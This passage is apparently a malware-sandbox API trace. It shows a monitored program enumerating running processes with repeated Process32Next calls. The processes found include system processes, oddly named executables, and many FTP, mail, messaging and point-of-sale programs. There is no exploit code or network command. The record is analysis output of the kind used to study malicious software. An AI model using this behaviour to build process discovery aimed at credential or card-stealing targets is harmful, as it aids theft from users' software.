lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.206] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.208] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.210] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.212] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.214] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.220] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.285] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.290] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.292] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.294] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.296] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.298] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.300] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.302] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.304] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.306] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.308] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.310] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.312] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.313] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.316] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.317] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.319] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.321] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.323] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.325] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.327] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0245.329] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0245.379] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.381] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.382] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0245.384] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0245.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0245.386] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0245.388] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0245.389] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0245.391] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0245.392] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0245.541] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0245.543] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0245.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0245.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0245.547] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0245.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0245.550] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0245.551] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0245.553] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0245.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0245.556] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0245.557] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0245.558] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0245.560] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0245.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0245.563] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0245.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0245.613] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0245.615] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0245.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0245.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0245.621] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0245.622] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0245.624] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0245.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0245.628] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0245.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0245.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0245.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0245.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0245.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0245.638] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0245.640] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0245.642] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0245.645] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0245.646] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0245.648] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0245.650] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0245.651] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0245.653] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0245.655] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0245.657] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0245.658] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0245.710] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0245.712] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 